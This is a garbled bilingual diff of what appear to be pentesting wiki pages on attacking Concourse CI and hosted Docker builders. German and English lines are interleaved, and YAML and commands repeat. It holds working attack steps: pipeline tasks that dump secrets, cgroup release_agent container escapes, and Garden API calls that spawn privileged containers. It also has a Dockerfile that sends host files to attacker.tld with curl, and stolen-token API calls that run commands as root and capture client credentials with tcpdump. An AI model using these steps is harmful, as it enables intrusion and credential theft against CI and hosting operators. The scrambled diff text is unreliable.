- List **builds** (to see what is running):
- `fly -t <target> builds`
#### Brute-Force von Anmeldeinformationen
### Concourse Attacks
#### Credentials Brute-Force
- admin:admin
- test:test
#### Aufzählung von Geheimnissen und Parametern
#### Secrets and params enumeration
Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Geheimnisse wird später nützlich sein, um zu versuchen, sie zu stehlen**.
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
#### Sitzung innerhalb eines laufenden oder kürzlich ausgeführten Containers
#### Session inside running or recently run container
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `<pipeline>/<job>` **Containers** mit folgendem Befehl erhalten:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
Mit diesen Berechtigungen könnten Sie in der Lage sein:
- **Die Geheimnisse** im **Container** zu stehlen
- Versuchen, zum Knoten zu **entkommen**
- Den **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
With these permissions you might be able to:
#### Pipeline-Erstellung/-Änderung
- **Steal the secrets** inside the **container**
- Try to **escape** to the node
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
#### Pipeline Creation/Modification
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **neue Pipelines erstellen/ändern.** Überprüfen Sie dieses Beispiel:
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Mit der **Änderung/Erstellung** einer neuen Pipeline können Sie:
- **Geheimnisse** **stehlen** (indem Sie sie ausgeben oder in den Container gelangen und `env` ausführen)
- Zu dem **Knoten** **entkommen** (indem Sie Ihnen genügend Berechtigungen geben - `privileged: true`)
- **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten)
- Erstellte Pipeline **löschen**
With the **modification/creation** of a new pipeline you will be able to:
#### Benutzerdefinierte Aufgabe ausführen
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
- **Delete** created pipeline
#### Execute Custom Task
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganze neue Pipeline zu ändern/zu erstellen, können Sie **einfach eine benutzerdefinierte Aufgabe ausführen** (die wahrscheinlich viel **heimlicher** sein wird):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Escaping to the node from privileged task
In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies gibt dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container. Zum Beispiel werden Sie das Node-Dateisystemgerät in /dev nicht sehen, sodass die Flucht "komplexer" sein könnte.
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
In the following PoC we are going to use the release_agent to escape with some small modifications:
In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen zu entkommen:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -259,12 +272,14 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
> [!WARNING]
> Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des Befehls im Knoten geändert wird.
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
#### Escaping zum Knoten von einem Worker-Container
#### Escaping to the node from a Worker container
A regular release_agent escape with a minor modification is enough for this:
Eine reguläre release_agent-Escape mit einer kleinen Modifikation reicht dafür aus:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -291,11 +306,13 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
#### Escaping to the node from the Web container
Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, läuft er **nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst du** **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
However, it stores **local credentials in clear text**:
Allerdings speichert er **lokale Anmeldeinformationen im Klartext**:
```bash
cat /concourse-auth/local-users
test:test
@@ -304,9 +321,11 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Sie können diese Anmeldeinformationen verwenden, um **sich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.
In der Umgebung finden Sie auch Informationen, um auf die **PostgreSQL**-Instanz zuzugreifen, die Concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -327,35 +346,39 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Missbrauch des Garden-Dienstes - Kein echter Angriff
#### Abusing Garden Service - Not a real Attack
> [!WARNING]
> Dies sind nur einige interessante Hinweise zum Dienst, aber da er nur auf localhost hört, werden diese Hinweise keinen Einfluss haben, den wir nicht bereits zuvor ausgenutzt haben.
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
Standardmäßig wird jeder Concourse-Worker einen [**Garden**](https://github.com/cloudfoundry/garden) Dienst auf Port 7777 ausführen. Dieser Dienst wird vom Webmaster verwendet, um dem Worker **anzuzeigen, was er ausführen muss** (das Bild herunterzuladen und jede Aufgabe auszuführen). Das klingt ziemlich gut für einen Angreifer, aber es gibt einige gute Schutzmaßnahmen:
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
- Er ist nur **lokal exponiert** (127..0.0.1) und ich denke, wenn der Worker sich mit dem Web über den speziellen SSH-Dienst authentifiziert, wird ein Tunnel erstellt, damit der Webserver **mit jedem Garden-Dienst** innerhalb jedes Workers **kommunizieren kann**.
- Der Webserver **überwacht die laufenden Container alle paar Sekunden**, und **unerwartete** Container werden **gelöscht**. Wenn Sie also einen **benutzerdefinierten Container ausführen** möchten, müssen Sie mit der **Kommunikation** zwischen dem Webserver und dem Garden-Dienst **manipulieren**.
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
Concourse workers run with high container privileges:
Concourse-Worker laufen mit hohen Containerprivilegien:
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knotens oder des release_agent **nicht** (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert.
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
> [!NOTE]
> Im vorherigen Abschnitt haben wir gesehen, wie man aus einem privilegierten Container entkommt. Wenn wir also **Befehle** in einem **privilegierten Container** ausführen können, der vom **aktuellen** **Worker** erstellt wurde, könnten wir **zum Knoten entkommen**.
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers, wenn ein neuer Container zum Ausführen von etwas erstellt wird, vom Worker-Container aus zugänglich sind. Es ist also wie ein Container, der einen neuen Container in sich erstellt.
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
**Getting inside a running privileged container**
**In einen laufenden privilegierten Container gelangen**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -368,26 +391,30 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**Erstellen eines neuen privilegierten Containers**
Sie können sehr einfach einen neuen Container erstellen (führen Sie einfach eine zufällige UID aus) und etwas darauf ausführen:
**Creating a new privileged container**
You can very easily create a new container (just run a random UID) and execute something on it:
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
Der Webserver überprüft jedoch alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden:
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -409,8 +436,11 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## Referenzen
## References
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,22 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
## Testumgebung
## Testing Environment
### Concourse ausführen
### Running Concourse
#### Mit Docker-Compose
#### With Docker-Compose
This docker-compose file simplifies the installation to do some tests with concourse:
Diese docker-compose-Datei vereinfacht die Installation, um einige Tests mit Concourse durchzuführen:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
Sie können die Befehlszeile `fly` für Ihr Betriebssystem von der Website unter `127.0.0.1:8080` herunterladen.
#### Mit Kubernetes (Empfohlen)
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
#### With Kubernetes (Recommended)
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
Sie können concourse einfach in **Kubernetes** (zum Beispiel in **minikube**) mit dem helm-chart bereitstellen: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -28,90 +31,94 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
Nachdem Sie die Concourse-Umgebung erstellt haben, können Sie ein Geheimnis generieren und dem SA, der in Concourse Web läuft, Zugriff auf K8s-Geheimnisse gewähren:
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: read-secrets
name: read-secrets
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]
resources: ["secrets"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-secrets-concourse
name: read-secrets-concourse
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
subjects:
- kind: ServiceAccount
name: concourse-release-web
namespace: default
name: concourse-release-web
namespace: default
---
apiVersion: v1
kind: Secret
metadata:
name: super
namespace: concourse-release-main
name: super
namespace: concourse-release-main
type: Opaque
data:
secret: MWYyZDFlMmU2N2Rm
secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
### Pipeline erstellen
Eine Pipeline besteht aus einer Liste von [Jobs](https://concourse-ci.org/jobs.html), die eine geordnete Liste von [Steps](https://concourse-ci.org/steps.html) enthält.
### Create Pipeline
### Schritte
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
Es können mehrere verschiedene Arten von Schritten verwendet werden:
### Steps
- **der** [**`task` Schritt**](https://concourse-ci.org/task-step.html) **führt eine** [**Aufgabe**](https://concourse-ci.org/tasks.html) **aus**
- der [`get` Schritt](https://concourse-ci.org/get-step.html) ruft eine [Ressource](https://concourse-ci.org/resources.html) ab
- der [`put` Schritt](https://concourse-ci.org/put-step.html) aktualisiert eine [Ressource](https://concourse-ci.org/resources.html)
- der [`set_pipeline` Schritt](https://concourse-ci.org/set-pipeline-step.html) konfiguriert eine [Pipeline](https://concourse-ci.org/pipelines.html)
- der [`load_var` Schritt](https://concourse-ci.org/load-var-step.html) lädt einen Wert in eine [lokale Variable](https://concourse-ci.org/vars.html#local-vars)
- der [`in_parallel` Schritt](https://concourse-ci.org/in-parallel-step.html) führt Schritte parallel aus
- der [`do` Schritt](https://concourse-ci.org/do-step.html) führt Schritte sequenziell aus
- der [`across` Schrittmodifikator](https://concourse-ci.org/across-step.html#schema.across) führt einen Schritt mehrfach aus; einmal für jede Kombination von Variablenwerten
- der [`try` Schritt](https://concourse-ci.org/try-step.html) versucht, einen Schritt auszuführen und hat Erfolg, selbst wenn der Schritt fehlschlägt
Several different type of steps can be used:
Jeder [Schritt](https://concourse-ci.org/steps.html) in einem [Job-Plan](https://concourse-ci.org/jobs.html#schema.job.plan) läuft in seinem **eigenen Container**. Sie können alles, was Sie möchten, im Container ausführen _(d.h. meine Tests ausführen, dieses Bash-Skript ausführen, dieses Bild erstellen usw.)_. Wenn Sie also einen Job mit fünf Schritten haben, erstellt Concourse fünf Container, einen für jeden Schritt.
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
Daher ist es möglich, den Typ des Containers anzugeben, in dem jeder Schritt ausgeführt werden muss.
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
Therefore, it's possible to indicate the type of container each step needs to be run in.
### Simple Pipeline Example
### Einfaches Pipeline-Beispiel
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
```
```bash
@@ -123,21 +130,25 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
Überprüfen Sie **127.0.0.1:8080**, um den Pipeline-Fluss zu sehen.
### Bash-Skript mit Ausgabe/Eingabe-Pipeline
Check **127.0.0.1:8080** to see the pipeline flow.
Es ist möglich, **die Ergebnisse einer Aufgabe in einer Datei zu speichern** und anzugeben, dass es sich um eine Ausgabe handelt, und dann die Eingabe der nächsten Aufgabe als Ausgabe der vorherigen Aufgabe anzugeben. Was Concourse tut, ist, **das Verzeichnis der vorherigen Aufgabe in der neuen Aufgabe zu mounten, wo Sie auf die von der vorherigen Aufgabe erstellten Dateien zugreifen können**.
### Bash script with output/input pipeline
### Trigger
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
Sie müssen die Jobs nicht jedes Mal manuell auslösen, wenn Sie sie ausführen möchten, Sie können sie auch so programmieren, dass sie jedes Mal ausgeführt werden:
### Triggers
- Es vergeht etwas Zeit: [Time resource](https://github.com/concourse/time-resource/)
- Bei neuen Commits zum Hauptbranch: [Git resource](https://github.com/concourse/git-resource)
- Neue PRs: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Holen Sie sich das neueste Bild Ihrer App oder pushen Sie es: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
Überprüfen Sie ein YAML-Pipeline-Beispiel, das bei neuen Commits auf master ausgelöst wird, in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,101 +0,0 @@
# Ausnutzung des Docker Build Contexts in gehosteten Buildern (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
Wenn eine CI/CD-Plattform oder ein gehosteter Builder Beitragenden erlaubt, den Docker build context-Pfad und den Dockerfile-Pfad anzugeben, kann man häufig den Kontext auf ein übergeordnetes Verzeichnis setzen (z. B. "..") und Host-Dateien Teil des Build-Kontexts machen. Dann kann ein vom Angreifer kontrollierter Dockerfile mithilfe von COPY Secrets aus dem Home des Build-Benutzers exfiltrate (zum Beispiel ~/.docker/config.json). Gestohlene registry tokens können außerdem gegen die control-plane APIs des Providers funktionieren und org-weite RCE ermöglichen.
## Attack surface
Viele gehostete builder/registry-Dienste führen beim Bauen nutzereingereichter Images in etwa Folgendes aus:
- Liest eine repository-weite Konfiguration, die Folgendes enthält:
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- Kopiert das angegebene Build-Kontext-Verzeichnis und den Dockerfile zum Docker daemon
- Baut das Image und startet es als gehosteten Service
Wenn die Plattform den Build-Kontext nicht kanonisiert und einschränkt, kann ein Nutzer ihn auf einen Ort außerhalb des Repositories setzen (path traversal), wodurch beliebige Host-Dateien, die vom Build-User lesbar sind, Teil des Build-Kontexts werden und im Dockerfile per COPY verfügbar sind.
Praktische Einschränkungen, die häufig beobachtet werden:
- Der Dockerfile muss sich innerhalb des gewählten Kontextpfads befinden und dessen Pfad muss im Voraus bekannt sein.
- Der Build-User muss Leserechte für Dateien im Kontext haben; spezielle Gerätedateien können das Kopieren stören.
## PoC: Path traversal via Docker build context
Beispielhafte bösartige Serverkonfiguration, die einen Dockerfile im übergeordneten Verzeichnis-Kontext angibt:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Hinweise:
- Die Verwendung von ".." führt häufig auf das Home-Verzeichnis des Users builder (z. B. /home/builder), das typischerweise sensible Dateien enthält.
- Lege dein Dockerfile unter dem Verzeichnisnamen des repo (z. B. repo "test" → test/Dockerfile), damit es innerhalb des erweiterten übergeordneten Kontexts bleibt.
## PoC: Dockerfile to ingest and exfiltrate the host context
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builders $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Ziele, die häufig aus $HOME wiederhergestellt werden:
- ~/.docker/config.json (registry auths/tokens)
- Andere cloud/CLI Caches und Konfigurationen (z. B. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Tipp: Selbst mit einer .dockerignore im Repository bestimmt die plattformseitige Kontextauswahl weiterhin, was an den daemon gesendet wird. Wenn die Plattform den gewählten Pfad zum daemon kopiert, bevor sie das .dockerignore Ihres Repos auswertet, können Host-Dateien dennoch offengelegt werden.
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
Some platforms issue a single bearer token usable for both the container registry and the control-plane API. If you exfiltrate a registry token, try it against the provider API.
Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
Enumerate apps in an org:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
Führe einen Befehl als root in irgendeiner Maschine einer app aus:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Ergebnis: org-wide remote code execution across all hosted apps where the token holds sufficient privileges.
## Secret theft from compromised hosted services
Mit exec/RCE auf gehosteten Servern können Sie vom Client bereitgestellte secrets (API keys, tokens) ernten oder prompt-injection attacks durchführen. Beispiel: install tcpdump und capture HTTP traffic auf port 8080, um eingehende Zugangsdaten zu extrahieren.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Erfasste Anfragen enthalten häufig Client-Zugangsdaten in Headern, im Body oder in Query-Parametern.
## Referenzen
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,12 +1,12 @@
# Gitblit-Sicherheit
# Gitblit Security
{{#include ../../banners/hacktricks-training.md}}
## Was ist Gitblit
## What is Gitblit
Gitblit ist ein selbstgehosteter GitServer, geschrieben in Java. Er kann als eigenständiges JAR oder in Servlet-Containern laufen und enthält einen eingebetteten SSHDienst (Apache MINA SSHD) für Git über SSH.
Gitblit is a selfhosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
## Themen
## Topics
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
@@ -14,8 +14,8 @@ Gitblit ist ein selbstgehosteter GitServer, geschrieben in Java. Er kann als
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
{{#endref}}
## Referenzen
## References
- [Gitblit project](https://gitblit.com/)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,92 +4,96 @@
## Summary
CVE-2024-28080 ist ein authentication bypass im embedded SSHService von Gitblit, verursacht durch falsche Handhabung des Sitzungszustands bei der Integration mit Apache MINA SSHD. Wenn ein Benutzerkonto mindestens einen SSH public key registriert hat, kann ein Angreifer, der den Benutzernamen und einen der public keys dieses Benutzers kennt, sich ohne privaten Schlüssel und ohne Passwort authentifizieren.
CVE-2024-28080 is an authentication bypass in Gitblits embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that users public keys can authenticate without the private key and without the password.
- Affected: Gitblit < 1.10.0 (beobachtet in 1.9.3)
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
- Fixed: 1.10.0
- Requirements to exploit:
- Git over SSH auf der Instanz aktiviert
